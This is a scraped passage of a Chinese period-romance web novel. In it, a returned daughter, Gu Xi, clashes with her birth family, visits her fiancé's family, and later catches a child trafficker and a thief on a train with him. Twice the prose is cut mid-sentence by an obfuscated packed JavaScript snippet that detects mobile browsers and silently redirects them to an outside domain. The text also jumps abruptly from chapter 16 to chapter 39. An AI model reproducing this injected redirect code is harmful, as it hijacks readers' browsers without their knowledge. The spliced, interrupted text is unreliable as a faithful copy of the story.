顾远辉有些疑惑,以往徐家屯那边若是寄东西过来,当天晚上他们家餐桌上定然会有一些山货土味的吃食,一看就是不值钱的东西,也就顾溪这土包子会欢喜得像什么似的,一副没见过世面的模样。 不过昨天,却一直没见有什么动静,他们家晚餐吃的也是顾远湘早上去买的菜。 顾溪看他一眼,说道:“是徐家屯公社那边寄过来的。” 顾茂文皱了下眉,问道:“咋寄过来那么多东西?里头有什么?” 他是不希望顾溪和徐家那边有联系的,但顾溪一直不听,徐家那边也是厚脸皮,居然以为时不时寄些乡下的东西过来,两家就能像亲戚一样处着。 幸好徐家只寄东西,没有直接跑过来骚扰,否则当初给徐家的钱,他们一定要回去。 “都是你们不喜欢的一些乡下泥巴土物。”顾溪随口说道,“我知道你们不喜欢,嫌弃乡下人没文化,他们的东西都沾了泥腥味,玷污你们的高洁!放心吧,以后她们寄过来的东西,我都送去沈家,冯姨挺喜欢的。” 说着不再理他,扛着包裹出门。 顾茂文张了张嘴,想说什么,但人都走到门口,只能眼睁睁地看着她离开,不禁气得心口疼。 她分明就是讽刺他们故作清高! 就算心里瞧不起乡下人,但被她这么直白地说出来,还是让他觉得难堪。 顾茂文气得不行,能感觉到顾溪对他们的态度,冷漠恶劣,对父母亦如此,说话很刺人,冷嘲热讽的,没一句好话。 作为大家长,他最不能接受的就是孩子忤逆长辈,就算是最犟的长子顾远扬都没有顾溪这么恶劣,不仅气哭母亲,对他这父亲更是毫无尊重。 顾远辉瞅着顾溪出了门,直到见不到人,觉得自己又行了,开始说起小话:“爸你看她,目中无人又嚣张任性,真是太讨厌了,就是欠教训的!”他咬着牙,生气地说,“昨晚她还气哭妈,哪有她这么当女儿的……她以为我们稀罕那些乡下寄来的便宜货吗?她要带走就带走,最好以后都不要回来……” 顾茂文阴沉着脸不说话,小儿子的话确实听在耳里,让他越发生气。 但顾溪人不在,就算生气也没办法,只能憋着,越发难受。 顾远辉叨逼会儿,突然说:“爸,不如这样,你打电话叫大哥回来。” 闻言,顾茂文和顾远湘同时看他,都有些不解。 顾茂文问:“叫老大回来做什么?” “让大哥教训顾溪!”顾远辉咬牙切齿地出主意,“她不是仗着力气大打人吗?大哥在部队当兵,力气肯定比她大,只要大哥回来,肯定能制服她。” 在他看来,顾溪之所以能将家里搅得翻天覆地,就是因为她力气大能打,他们都打不过她,才会被她拿捏。 所以需要一个能在武力上制住她的人,这个人,除了大哥顾远扬不作他选。 顾远扬当兵多年,其他的不说,武力肯定比他们这些普通人高。 被顾溪打过后,顾远辉就知道光凭蛮力,他们是打不过顾溪的,他现在只想赶紧来个能打赢顾溪的人,挫挫她的威风,将她的气焰打下去,让她认识到自己的错误,再也不敢犯。 顾茂文想也不想地说:“不行,不能将老大叫回来。” “为什么不行?”顾远辉不高兴。 顾远湘也有些迷茫,她对大哥顾远扬的印象不深,当初顾远扬去当兵时,她的年纪还小,从小到大带她玩的更多的是年纪相仿的二哥顾远征。 顾茂文绷着脸,觉得就算顾远扬回来可能也不好使。 倒不是顾远扬不能打,而是顾远扬的性子实在太叛逆,是个认死理的人。 当初他们认回顾溪时,顾远扬远在部队,得知这事,特地打电话回来,让他们将顾远湘送走。 顾茂文夫妻自然拒绝了。 顾远扬对此很坚持,甚至和他们吵了一架,见他们实在不愿意,最终他没再说什么,只道他们会后悔。 顾茂文觉得这儿子实在太轴了,没点人情味,养这么大的孩子,哪能说送走就送走? 不过现在,他虽然不后悔,却也因为顾溪的叛逆而头疼起来,心里是不想去求助这个长子的,岂不是让他看笑话? ** 顾溪来到军区大院时,太阳已经升高。 看她扛着那么大的包裹,有路过的年轻人好心地问:“这位女同志,需不需要帮忙?” 顾溪停下,探头看向说话的人,露出一张汗湿的脸,说道:“不用,谢谢。” 哪知道对方瞪大眼睛:“啊,是你,那个沈明峥的未婚妻!” 见她抬头看着自己,那张莹白的脸蛋精致又好看,就算满头大汗也不显狼狈,反而让人有种怜惜呵护的冲动。 年轻人有些脸红,挠了挠脸,语无伦次地说:“我、我帮你吧,这东西看着挺重的……” 说着便伸手过去,用力一抱,发现抱——抱不动。 顾溪仍是稳稳地抱着,没有让他将东西抢过去。 年轻人:“……” 年轻人的脸更红了,有些羞愧,怀疑自己的力气难道还比不过人家瘦弱的女同志? 要不然,他怎么抱不动这包裹? “翔子,你在做什么呢?” 一道声音响起,将林兆翔从窘迫中拉出来,转头惊喜地叫道:“淮哥,我在帮……帮忙呢。” 周淮岷双手插兜走过来,张扬的短发,魁梧的身材,那股子独有的气势,给人一种无形的压迫感。 他身边跟着几个年轻男女,像是要一起出门玩。 周淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16207166|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 岷看到搬着包裹的顾溪,挑了下眉,说道:“那你还不赶紧的,一点为人民服务的精神都没有!” 林兆翔:“……”能说他没搬动吗? 倒是顾溪开口道:“真的不用了,我能搬得动的。”然后又道,“我还有事,不打扰你们了。” 说着便搬着东西离开。 一群人站在那里,看她搬着大包裹走得稳稳当当的,和她纤细瘦弱的模样形成强烈对比。 有人惊叹道:“她的力气好大啊!” “明明看起来那么瘦弱……” “还那么漂亮,沈明峥真是好福气!” “……” 众人转头看向说“沈明峥真是好福气”的人,发现是周淮岷的妹妹周淮英。 见他们都看着自己,她也不悚,叉着腰说:“怎么,我说得不对?” 众人赶紧附和:“对对对,英子你说得都对!” 离开时,周淮英和堂哥走在一起,用手肘捅了捅他,笑嘻嘻地说:“她是不是很漂亮?冯姨的眼光可真好,给沈明峥挑了这么漂亮的媳妇!哥你也不能输,以后也要给我找个漂亮的嫂子,像沈明峥的未婚妻那样就好!” 周淮岷直接说了一句无聊。 ** 顾溪搬着包裹来到沈家,王婶看着都惊呆了,赶紧上前帮忙,又是给她端茶倒水,又是给她扇凉,生怕她累着。 王婶问:“这是什么?你咋一个人送过来?怎么不叫人帮忙?” “是徐家的两个妹妹寄过来的。”顾溪一边喝水一边说,“其实不重。” 王婶不相信,过去搬了下,发现沉甸甸的,腰都直不起来,哪里不重? 喝完水,顾溪和王婶一起将包裹里的东西取出来,一起归置。 王婶没想到里头有那么多山货和乡下自己晒的东西,虽说不是什么稀罕物,但在城里也是难得,不由夸道:“你那徐家的两个妹妹真是有心了。” 她也知道顾溪的身世,知道这些年,顾溪和养父母家的两个妹妹一直有联系,甚至出钱支持她们读书,姐妹情并未断,觉得顾溪是个重情重义的好孩子。 正忙着,沈明嵘从外头回来了。 看到顾溪,他欢快地扑过来:“溪姐溪姐,你啥时候来的?是不是搬行李过来了,以后都住这里吗?不回去了吧?” 顾溪拿起一块甜滋滋的果干塞进他嘴里,笑道:“没有,只是来给你们送东西的。” 沈明嵘嚼着嘴里的果干,十分失望。 等王婶去放东西,他贼兮兮地拉着顾溪到一旁,说道:“溪姐,我告诉你啊,下个月我哥应该会回来了。” 顾溪神色一顿,哦了一声。 其实她知道,沈明峥很快就回来,不必等到下个月。 “溪姐,你怎么不笑了?”沈明嵘疑惑地看她,难道她不想见到他大哥吗? 顾溪朝她露出一个笑容。 只是这个笑容有点说不出什么意味。 “你也是高兴的吧?”沈明嵘笑眯眯地说,朝她挤眉弄眼的,“等大哥回来,你们……嘿嘿。” 顾溪被他逗笑,摸了摸他的脑袋,没有说什么。 16.第 16 章 顾溪在沈家待了一天,陪沈明嵘玩,顺便给他检查作业。 傍晚,沈重山和冯敏下班回来,看到她都很高兴。 “溪溪来啦!”冯敏第一时间拉着人看了看,突然皱起眉头,“这几天没有好好吃饭、好好休息吗?怎么脸色看着没点血色?” 这一看就像大病未愈,让人看得揪心。 心里琢磨着,下次休息时,还是带她去医院看看吧。 顾溪道:“我有好好吃饭休息的,只是天气太热,有点苦夏。” “真的?”冯敏想到现在天气确实热得厉害,人也没什么胃口,勉强相信她,又问道,“你家里还好吧?” 看顾溪的脸色那么差,她还是不放心顾家那些人,担心他们仗着她脾气好欺负她,尤其那个顾远辉,真不知道顾茂文夫妻是怎么养孩子的,怎么能养出这么刁钻可恶的小子,欺负起亲姐来毫不手软,仿佛那是他的仇人。 虽然顾溪从来不会和人抱怨这些,但她有嘴问、有眼睛看,每次去顾家走动时,顾远辉都能当着自己这客人的面阴阳怪气顾溪,可见私底下没少欺负她。 顾茂文夫妻虽然嘴里斥责顾远辉,但只是因为自己在场,若是她不在,只怕并不在意,还当是姐弟俩打闹,让顾溪忍了,不然就是小题大做。 顾溪面露笑容,声音轻软,“挺好的,就是我爸不小心闪到腰,有些严重,今儿在家休息。” “闪到腰?” 冯敏和沈重山都有些疑惑。 顾溪面色不改,避重就轻地说:“他帮顾远湘搬柜子时闪到腰的,顾远湘房间里的柜子比较笨重。” 她倒是不怕顾家人会跑过来和沈重山他们说什么,顾茂文夫妻丢不起那脸。 相处几年,她哪里看不出顾茂文夫妻有多在意自己的名声,就算他们再厌恶她,也不会跑到外头说她做了什么。 这也是她敢直接和他们翻脸的原因,反正她都不知道自己这辈子能活多久,何必再顾忌什么? 有所顾忌的人才会活得憋屈。 顾家人这种死要面子活受罪的行为,也是挺可笑的。 沈重山和冯敏都没多想,以为顾茂文是年纪大了,搬个柜子都会闪到腰,嘘唏一下便抛开不提。 吃饭的时候,得知顾溪养父母那边的妹妹给她寄了些乡下土特产过来,心里很是高兴,觉得徐家那两个女娃虽然出身在那样的家庭,却是好的,没有辜负顾溪为她们做的安排。 冯敏看了看为自己做的衣服和鞋子,说道:“徐愿生这孩子的手艺可真好,做的衣服都挺合身的,衬得人都精神了。” 这年头的衣服花样不多,但在细节处却能彰显裁缝的巧思。 徐愿生做衣服时,特地收了腰线,穿起来特别衬人,让人看起来很精神。 顾溪笑道:“二妹从小就喜欢看人做衣服,她和公社的老裁缝学过,还给老裁缝打过下手。” 那是她还没回顾家前的事。 二妹徐愿生闲暇时厚着脸皮去给老裁缝帮忙,老裁缝有时候会给她一些吃食当辛苦费,徐愿生会偷偷带回来,姐妹三个窝在柴房里偷摸分来吃。 吃过饭,时间已经不早,顾溪起身离开。 冯敏送她出门,说道:“溪溪,要不今天就在这边住下吧,反正现在是暑假,你也没啥事。至于工作的事,你也不急,先将身体养好再找工作。” 既然顾溪不想继续读书,那确实要找份工作,不过看她的脸色不好,也不急于一时,先将身体休养好再说。 顾溪道:“我最近有点事,等我忙完再过来,到时候您要赶我,我都不走。” “什么事啊?”冯敏先是纳闷地问,然后嗔道,“你要是过来,我才高兴呢,哪里会赶你?” 顾溪只是笑了笑,和她道别离开。 - 回到顾家,天色彻底暗下来,顾家人都吃过晚饭,坐在客厅闲聊。 顾远湘端着果盘过来,见到她主动问:“溪溪,你吃饭了吗?我们给你留了饭。” “吃过了。” 顾溪随意回一声,也不和客厅里的几人打招呼,直接回房。 顾茂文夫妻的脸色都不太好。 他们生气这女儿忤逆是一回事,但被她如此无视又是另一回事,觉得她没教养,不懂尊重父母。 顾茂文气道:“果然被那对乡下夫妻养坏了。” 顾远湘听到这话,脸色有些僵硬。 因为他说的那对“乡下夫妻”是她的亲生父母,纵使她一直当自己是顾家的女儿,不愿意承认徐家人是她的血亲,但心里知道,血缘这东西是断不掉的。 顾远征见她的脸色难看,转移了话题:“爸,顾溪已经高中毕业,她接下来有什么打算?” 若是以往,他不会主动提这些,反正有父母为她安排,他只是二哥,不必太上心。 不过现在他的心态多少变了,知道自己不能再像以往那般事不关己,否则这个家会越来越糟糕。 江惠君叹气道:“昨晚我也这么问溪溪的。” “她怎么说?” 一家人都看她,想知道顾溪的想法,最好赶紧给她找些事干,要不然她在家里天天闹腾,实在受不住。 “她说她想读书,让咱们给她弄个工农兵大学的推荐名额。” 这话一出,在场的人相顾无言。 顾茂文拧眉道:“她怎么不去找沈家?” 闻言,江惠君面露难堪之色,又想起昨晚顾溪说的话,那张不掩饰嘲讽的脸,每每想起,就让她羞愧得无地自容。 看她这模样,顾茂文和顾远征哪里不明白,明智地没再问。 肯定不是什么好话。 “干嘛不让她嫁出去算了?”顾远辉嘟哝,“反正她和沈家有婚约,听说那个沈明峥都二十七、二十八岁了,再不结婚都老了。” 在十六岁的少年人看来,男人二十七八还不结婚,就是个老男人。 也亏得沈明峥有婚约,又在部队里,要不然还真让人怀疑他这么晚还不结婚是不是有什么隐疾。 顾茂文和江惠君对视一眼,相顾无言。 这桩婚约,明显是由沈家主导,顾家根本作不了主。他们几时结婚,由沈家那边决定,万一他们去提了,沈家以沈明峥在部队忙为由,没空回来结婚,多尴尬啊?他们不想在沈家人面前丢脸。 “确实,这事还是提一提吧。”江惠君说道,“溪溪都二十岁,要是她不去上大学,那不如先结婚,等婚后再找工作。” 结了婚,就是别人家的孩子,到时候她也不好天天回娘家闹腾吧? 这么一想,江惠君顿时觉得轻松起来。 顾茂文也是这么想的,点了点头,决定改日抽个时间给沈家递个话,问问这事。 ** 顾茂文在家休养了两天,觉得腰没那么难受,又回去上班了。 接下来的几天,顾家依然不安生,每天都要闹出点动静。 许是好了伤疤忘了疼,顾远辉脸上的伤还没好全呢,胆子又肥起来,居然敢将顾溪晒在院子里的衣服丢在地上。 若是以往,顾溪会默默地捡起来重新洗一遍。 现在嘛,根本不惯着他,将人揍了一顿,然后逼着他将衣服洗干净,并且表示,以后家里人的脏衣服都由他来洗。 顾远湘原本犹豫着要不要劝,等听到顾溪的决定,她默默地闭上嘴巴。 最近家里所有的家务都是由她来做,她才知道原来家里的事情那么多,做完这些有多辛苦,以前顾溪是怎么将它们打理得井井有条,丝毫不显忙乱的? 特别是洗全家的衣服时,每次洗完都腰酸背痛,让她觉得这个暑假实在太难熬了,巴不得赶紧开学,好躲到学校里,不用再干这些。 顾远辉是个挨打不记数的性子,不过也架不住打得太多了,他终于长点教训。 许是闹腾得久了,就连家属院都知道顾家最近不安生,特别是有个嘴碎的邻居黄老太喜欢窥探左邻右舍,但凡有点风吹草动,都会被她大嘴巴说出去。 顾茂文夫妻每每听到一些关于自家的流言,脸上臊得慌,又气又急。 最让他们受不了的,还是那些关于他们喜欢给别人养孩子之类的话,甚至还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16211470|180674||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说他们虐待亲生女儿,让顾溪给他们当牛做马,伺候一家子…… 每次他们都是青着脸回家。 回到家,看到罪魁祸首的顾溪,越发的生气,想骂人嘛,又骂不过她,毕竟她真的是懂得怎么扎心怎么来——虽然在顾溪看来,她只是实话实说,然而往往实话才是最戳心的;打更不可能了,顾家没有打孩子的传统,就算要打,顾溪也不会站着给他们打,反而会直接打回去。 打不得,骂不过,那怎么办? 明知道顾溪就是仗着他们好面子,可着劲儿地折腾,但他们永远不可能将她做的事往外说,顾家丢不起那个脸,只能硬生生地忍下,甭提有多难受。 这日,顾溪在厨房喝水,听到敲门声,去打开门,见到门外站着一群半大的少年人,是家属院里和顾远辉玩得好的同龄人。 看到他们,顾溪的眸光微动。 少年们一个个笑嘻嘻地和她打招呼,“辉子他姐,我们来找辉子,他在家吗?” 顾溪的目光一一掠过他们的面容,眸心深处有什么弥漫,平静道:“在的。” 说着侧身,让他们进门。 这些少年人和顾远辉玩得好,常来顾家找人,丝毫不将自己当外人,进门后直接去敲顾远辉的房门。 很快,一阵阵惊呼声响起。 “天啊,辉子,你这脸怎么了?被谁打了?” “肯定是被打的,这打得可真有劲!” “辉子,你打架怎么不叫咱们?只要叫一声,咱们抄家伙一起上,看谁敢欺负咱们兄弟!” “……” 顾溪平静地坐在沙发上喝水,听着楼上顾远辉死要面子地解释不是被人打的,是自己不小心撞的。 十几岁的少年人正是将面子和自尊看得比天大的年纪,怎么肯承认是被人打,还是自己最瞧不起的姐姐打的,恨不得昭告天下,他就是摔的、撞的。 一会儿后,顾远辉和一群少年人下楼,看到坐在客厅里的顾溪,吓得差点炸毛。 少年们没注意到他的细微反应,看到客厅里安静坐在那里的人,当她转头看过来,那张莹白漂亮的脸蛋直白地映入眼帘,让这群很少与如此漂亮的异性接触的少年都红了脸。 以往顾溪很少会这么直白地看人,更多时候她都避着人,也是沉默的。 这还是第一次,这群少年们清楚地意识到,顾远辉他姐长得真的很好看,是个少见的漂亮女同志。 有少年道:“辉子,天气那么热,咱们去划船吧。” “是啊是啊,叫你姐一起去!” 那群少年人热情地叫着,有几个朝顾远辉使眼色,挤眉弄眼的,一看就在打坏主意。 他们和顾远辉的关系好,知道顾远辉对这个半途认回顾家的姐姐的态度。 老实说,他们其实不太能明白顾远辉为什么那么讨厌这个姐,在他们看来,顾溪长得实在漂亮,比顾远湘这个假千金漂亮多了,要是有这么漂亮的姐姐,他们都能和小伙伴们炫耀,保护都来不及,怎么会讨厌她。 不过,这个顾溪的性格实在好欺负,他们好几次都看到顾远辉欺负她。 像和顾远辉关系好的军子,还会出主意,帮着一起欺负她,像捉毛毛虫和蛇吓唬她,在她放学回家的路上赶狗追撵她之类的……回头他还会和他们笑嘻嘻地说如何欺负人,看她吓到眼眶发红,笑得十分恶劣。 顾远辉听到他们的提议时,心脏差点就吓得跳出来,一脸惊恐。 他们居然要邀请她?万一她打人怎么办? 如果是以往,顾远辉肯定会答应,在看到军子挤眉弄眼时,就知道这小子打着坏主意,说不定有好戏看。 但现在,他只想一拳朝军子那张猥琐的脸挥过去。 就在顾远辉惊恐地想要拒绝时,顾溪却开口了:“好啊。” 好、好啊?好什么? 顾远辉惊吓地看着她,直觉她不怀好意。 顾溪站起身,看向脸色不好的顾远辉,突然朝他露出一个笑容。 这个笑容在顾远辉看来,比女鬼还可怕。 她要做什么? 39、第39章 上车的人不多,他们不用和人挤,很快就照着车票找到他们的车厢。他们过来时,车厢里没有人。 沈明峥将行李放好,转头去看站在车窗前往外张望的姑娘,能看到她瓷白的侧脸,以及发红的眼角。 从这个角度,隐约能看到站台那边的情景。 沈重山和冯敏正在安慰哭得老惨的男孩,夫妻俩时不时往火车张望,就算是沈重山这样的大男人,也不太能适应这种分别的场面,心里多少有些心酸。 顾溪愣愣地站在那里,眼里又蓄起了泪,哭得泪流满面。 直到火车开了,她也没收回目光。 沈明峥伸手揽住她,将她带到怀里,无奈地说:“别哭,爸妈不希望你太伤心,对身体不好。” 顾溪没忍住,埋在他怀里默默地流着泪。 直到列车的广播响起,哭得昏天暗地的脑子这才反应过来,赶紧推开他,转头看向四周,发现车厢里只有他们两人时,终于松口气。 她可没忘记这是个特殊的年代,连男女牵个手都会犯流氓罪,何况是大庭广众之下拥抱。 沈明峥被她推开也不在意,只是觉得她的力气挺大的。 他拉着她坐在下铺的位置,取出一条手帕给她擦眼泪,又拿出军用水壶打开,让她补充点水份,省得缺水。 这一番下来,顾溪的情绪渐渐地稳定。 她有些不好意思,低着头说:“大哥,我没事了!你昨晚没睡多少时间,先去睡吧。” 沈明峥看着她,将她的脸抬了起来,审视她的面容,确认她的情绪缓过来,总算放心。 他们定的是两个下铺,此时整个车厢除了他们,没有别人。 在这年代,卧铺票一向很难定,没有身份的普通人,只能定坐票,也因此卧铺这边的位置很多都是空的。 沈明峥将放着食物的袋子取出来,从里头掏出一个洗干净的梨递给她。 顾溪接过来,道了一声谢谢,默默地啃着梨。 刚上市的梨并不太甜,还有些涩味,不过在这时候已经是难得,是王婶特地给他们买的,让他们在车上吃。 车厢里只有他们,放行李也方便,沈明峥将东西——摆好,装食物的袋子直接摆在车窗旁的小桌子上。 做完这些,他看向坐在那里啃梨子的人,觉得她像只小兔子似的,小口小口地啃着,腮帮子一鼓一鼓的,有种很可爱的感觉,有些想笑。许是察觉他的笑容,她抬头看过来,有些疑惑。 沈明峥清了清喉咙,问道:“你要不要睡会儿?” 今天起得早,想必她还没有睡够。 和她同床共枕几天,他已经摸清楚她的休息时间,或许是个人体质不同,也可能是她的身体比较虚,她每天的睡眠时间一定要满八个小时,不然精神会很差,当然能睡满九、十个小时也挺好的。只是这样的作息时间,和那些为工作热情抛洒汗水的人截然不符,要是以后上班,这么睡可不行。 沈明峥并不觉得这样有什么不好,如同他妈交待的那样,目前她只需要好好休息,好好调理身体,拥有一副健康的身体比什么都重要。他娶她,是想要两个人好好地过一辈子。 顾溪啃着梨,有些含糊地说:“大哥你先睡吧,我还不困,等我困了再睡。”沈明峥嗯一声,又问道:“要看书吗?”他往行李袋中塞了几本书,怕她在路上无聊,给她打发时间用的。 顾溪好奇是什么书,有一个行李袋是他收拾的,不知道里头放了什么,她没怎么看,只知道很重。 等看到他拿出书来,她顿时有些无语了。 一看那封皮,就知道是红色语录,是这个年代的人必读的书,她在学校里当然也读过,就算过去几十年,很多语录居然也记得一清二楚。 虽然有些无语,不过顾溪还是接过来,打算再重新复习一遍。 接着,沈明峥躺在对面的床上补眠,顾溪则坐在车窗边,捧着红色语录慢慢地看着,打发时间。 如此一个早上倏忽过去。 快到午时,沈明峥睁开眼睛,坐了起来。 顾溪见状,看了看手表的时间,问道:“大哥,要吃饭吗?” 沈明峥点头,他先去火车的卫生间洗了把脸,回来时看到顾溪已经将袋子里的几个铝饭盒摆出来,打开饭盒,一个饭盒放着烙好的煎饼,一个饭盒放着爽口的凉拌菜,一个放着水煮鸡蛋。只有中午的份量。 这也是没办法的事,天气热,若是做得太多吃不完,很容易就会馊掉,浪费食物。 两人面对面地坐着,对付了一顿午餐。 吃过午饭,顾溪就躺在那里睡午觉。 列车匡且匡且地前行,顾溪睡得并不踏实,不仅因为空间狭小拥挤,也因为列车摇摇晃晃的,让她本能地感觉到不安。 午觉起来,她的精神不太好,人有些恍惚。 “顾溪?”沈明峥担忧地看着她苍白的脸蛋,发现只要她的睡眠不足,脸色就会苍白得厉害,让人很担心。 顾溪振作起精神,朝他说道:“大哥,我去洗把脸。” 想到水壶里的水快没了,顺便将军用水壶拿过来,准备等会儿去开水间那边装水。 顾溪去了列车的洗漱间洗脸,正好撞上一个抱着孩子的中年妇女。中年妇女的衣着很朴素,打了许多补丁,一看就是做惯农活的乡下妇人。她怀里的孩子用背带系在胸前,孩子看起来很小,正在昏睡着,睡得脸蛋红扑扑的,嘴唇有些干躁。见到顺系在洗脸,她抱着孩子往旁避了避,然后躲进旁边的卫生间。 顾溪洗完脸后也不急着走,拿出手帕擦干净脸上的水渍,然后又擦干净手。 可能是没睡好,胸口有些发闷,也有些想吐,加上列车被曝晒大半天,下午的温度高,整个车厢都很闷热,就算有风从打开的车窗吹进来,也没缓解多少。 她靠在那里,对着窗口的方向吹着风,决定缓一缓。 这时,抱着孩子的中年妇女走出来,看到站在那里的顾溪吓了一跳,警惕地抱紧了挂在胸前的孩子。她洗完手后,路过顾溪离开,突然被人捉住手臂,将她扯过来,按在车壁垒上。“你、你干什么?”中年妇女背靠着车壁,有些紧张,厉声叫道。 顾溪神色恹恹地看着她,说道:“大娘,你的孩子身上的气味不太好闻,有药味,你刚才在里头又给他灌药了?”“你说什么?我不清楚!” 中年妇女厉声说着,挣扎得厉害,然而那只抓着她的手像铁钳似的,力气实在太大了,让她不管怎么都挣不开。明明是个看起来很瘦弱的年轻姑娘,不知这力气咋这么大。 这边的动静吸引了乘务员的注意,急忙过来问有什么事。 中年妇女正要大喊,哪知道顾溪一把捂住她的嘴巴,飞快地说:“同志,我怀疑她是人贩子,这孩子是她拐卖的,孩子被她下约了。” 乘务员似信非信地看她,不过秉着不错过任何可能的原则,还是赶紧去通知列车长。 很快列车长就带着人过来,看到一个年轻漂亮的女同志死死地捂着一个身形壮硕的中年妇女的嘴巴,将她摁在车壁上,人都有些懵。这这这……这女同志的力气好大啊,那中年妇女一看就知道是干惯农活的,力气应该不小,可在她手里,硬是动弹不得。 人都是视觉性的动物,虽然对这事半信半疑,但看到顾溪一个年轻漂亮的女同志一口咬定这中年妇女是人贩子,还是决定暂时相信她。 在列车长询问时,沈明峥也找过来了。 一直不见顾溪回来,他以为出什么事,等过来时看到这一幕,人也有些懵。 等听到事情的前因后果,沈明峥立即取出军官证,表明身份,并道:“这是我爱人,我相信她不会冤枉任何一个人,如果你们信得过我,我可以帮忙审问她。”他将这事揽到自己身上,没有任何犹豫地站在顾溪这边。 顾溪看他过来了,终于松开被她摁着的中年妇女,让列车长将人控制住。 列车长试着叫唤中年妇女怀里背着的孩子,发现那孩子怎么叫都弄不醒,已经相信大半。 接着沈明峥跟着列车长等人一起离开,去处理这个中年妇女的事,顾溪则回车厢里等着。 约莫半个小时后,沈明峥和列车长一起回来了。 沈明峥的神色冷峻,看不出表情,列车长则是一脸高兴,看到顾溪时,格外的热情。 他上前握住顾溪的手,激动地说:“同志,谢谢你了,已经审问出来,那妇女确实是个人贩子!” 顾溪反应很平淡,脸上露出一个笑容,关心地问:“孩子怎么样?那药对他没什么影响吧?” 那么小的孩子,就被灌下那样的药,也不知道会不会有什么影响。 她想起后世的新闻和网络报导,很多被拐卖的孩子被下药后,都有不少后遗症,甚至有些被药傻了,一辈子就这么毁了,让人十分痛恨。 列车长严肃地说:“已经让车上的医生照看,等到下个站,我们会将孩子送去医院检查。” 说完这些,他忍不住问:“同志,你怎么知道那女人是人贩子?” 他对这事非常好奇,暗暗打量顾溪,看着就是个柔柔弱弱的女同志,像是被家里呵护着的闺女,没有经历过事的那种,很难想象她不仅能将一个力气不小的中年妇女摁住,而且行事还如此果断。 顾溪平淡道:“以前遇到过这种事,在车上也遇到了人贩子。” 她说的是五年前,跟着冯敏前往京市的火车,也遇到这样的例子,当时就闻到孩子身上的药味,虽然很淡,但她确实闻出来了。 “我的鼻子很灵敏,闻过的味道会记得。”她有些不好意思地说,“当时我在洗手,那妇女带着孩子过来,见到我很警觉的样子,我就有些怀疑了……”如果弄错了,大不了她陪礼道歉呗,不过是萍水相逢的人,被讨厌也不要紧。 等听她说完,列车长恍然大悟,对顾溪又是一阵感激。列车长对顾溪的行为给予高度的表扬,说了不少话,表示这事会上报,让组织给她颁发锦旗之类的。顾溪:“…… 终于将热情的列车长送走,顾溪又有些恹了。 不过坐了半天的车,她就觉得有些难熬。 沈明峥见她脸色不太好,取出一个石榴,将之掰开递给她。 石榴很酸,顾溪刚吃一口,就酸得脸皱起来。 比起酸,她更喜欢吃甜,可能是从小就过得太苦,本能地追求甜,对甜有些偏爱,吃水果都喜欢挑甜的,可惜这年头甜的水果比较少。 沈明峥看她酸得脸皱在一起,有些想笑。 他想到刚才的事,看她的目光有些稀奇,又有一种说不出的悸动,只觉得眼前的姑娘似乎哪里都好,没有哪里让他不满意的。 如果一见钟情是始于颜值,那么爱情就是源于欣赏、占有和人品。 有了这事,列车长非常照顾他们这个车厢,还特地让人给他们送来丰富的晚饭,有白米饭和香喷喷的红烧肉、红烧鱼,以及炒得清爽可口的青菜,一看就是开小灶做的。这让顾溪难得有了胃口,将青菜都吃了,还多吃几口米饭。 剩下的由沈明峥解决,他将红烧肉的瘦肉部分夹出来递到她面前,看着她张口吃下,面上露出满意之色。 这些天,他已经发现,她不爱吃肥肉,只吃瘦肉的部分,除非将肥肉炒得焦香焦香的,还会吃上几口,就算红烧肉做得肥而不腻,她也坚决不吃肥的部分。挺挑食的。 晚上,车厢里只有两人,十分安静。 两人各睡一张床,顾溪睡得迷迷糊糊的,总有些不太安稳。 半睡半醒间,察觉到有一道黑影蹲在那里翻着什么,她想也不想地将怀里抱着的挎包砸过去,对面床上的沈明峥也第一时间下床制住那人。 “嗷——“ 凄厉的惨叫声引来了乘务员。乘务员打开灯,见到车厢里的一幕,人有些呆。当他看清楚车厢里的顾溪和沈明峥时,第一个反应是,咋又是这两口子?白天抓人贩子,这晚上又在干啥呢? 顾溪说道:“这是小偷,他要偷我们的东西!”被沈明峥按在地上的男人大叫:“我没有,我只是走错车厢……嗷,痛痛痛,轻点啊!”那扭着他的力道像泰山压顶似的,疼得他忍不住大叫。 对男人说的走错车厢的说法,沈明峥不为所动,直接将他扭送到列车长那里。 列车长:“.…”这又是咋啦? 等沈明峥回来,顾溪问道:“他招了吗?还是坚持走错车厢?”因为对方也没偷成,要是一口咬定走错车厢,列车长也不好处理他。 沈明峥淡定地道:“招了。”用了点特殊的手段,招得挺快的。然后又补充说:“这是个惯偷,上了车后,会故意路过各个车厢,专门挑看起来有钱的人偷。”说着,他看向对面坐在那里的顾溪。 顾溪歪着脑袋看他,后知后觉反应过来,吃惊道:“我看起来很有钱吗?“虽然她确实有钱,但那是结婚所得的钱,又不是她赚的,她自觉自己是个没本事的,从小到大,吃喝拉撒都是靠着大人,毕竟刚高中毕业,还没赚过一分钱。 沈明峥眼里露出笑意,“嗯,他觉得你有钱。” 如果是五年前的顾溪,或许没人会觉得她有钱,但五年过后,她干净漂亮,穿着得体的新衣服,安静地坐在那里,就像一个家境优渥的姑娘,很容易让人误会,也不怪会被小偷盯上。 40、第40章 后半夜相安无事。 天蒙蒙亮,顾溪就坐起来了,精神不太好,人看起来恹恹的,脸色比昨天更加苍白。 